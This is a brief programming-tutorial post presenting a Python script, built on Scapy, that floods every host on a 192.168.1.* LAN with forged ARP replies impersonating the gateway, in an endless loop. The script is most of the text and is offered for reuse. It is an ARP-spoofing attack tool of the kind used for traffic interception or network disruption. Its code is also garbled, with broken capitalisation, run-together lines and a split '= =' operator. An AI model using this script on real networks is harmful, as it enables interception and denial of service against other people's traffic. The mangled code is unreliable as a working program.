This example describes how Python uses ARP spoofing to forge a gateway. Share to everyone for your reference. The implementation method is as follows:
#coding: Utf-8 ' arp spoofing LAN PC, sending forged gateway Mac to ARP reply of gateway to PC ' from Scapy.all import Arp,send,arpingimport sys,restdout= Sys.stdoutipaddr= "192.168.1.*" gateway_ip= ' 192.168.1.1 ' #伪造网关mac地址gateway_hw = ' 00:11:22:33:44:55 ' p=arp (op = 2,hwsrc = GATEWAY_HW,PSRC = gateway_ip) def arp_hack (IP,HW): #伪造来自网关的arp应答 t=p t.hwdst=hw t.pdst=ip Send (t) def get_host (): #得到在线主机的mac地址和对应ip地址 hw_ip = {} sys.stdout = open (' Host.info ', ' W ') arping ( IPADDR) sys.stdout = stdout f = open (' Host.info ', ' r ') info = f.readlines () f.close del info[0 ] del info[0] for host in info: temp = re.split (R ' \s+ ', host) hw_ip[temp[1]] = temp[2] return Hw_ipif __name__ = = "__main__": hw_ip = Get_host () while 1: For i in Hw_ip: arp_hack (hw=i,ip=hw_ip[ I])
Hopefully this article will help you with Python programming.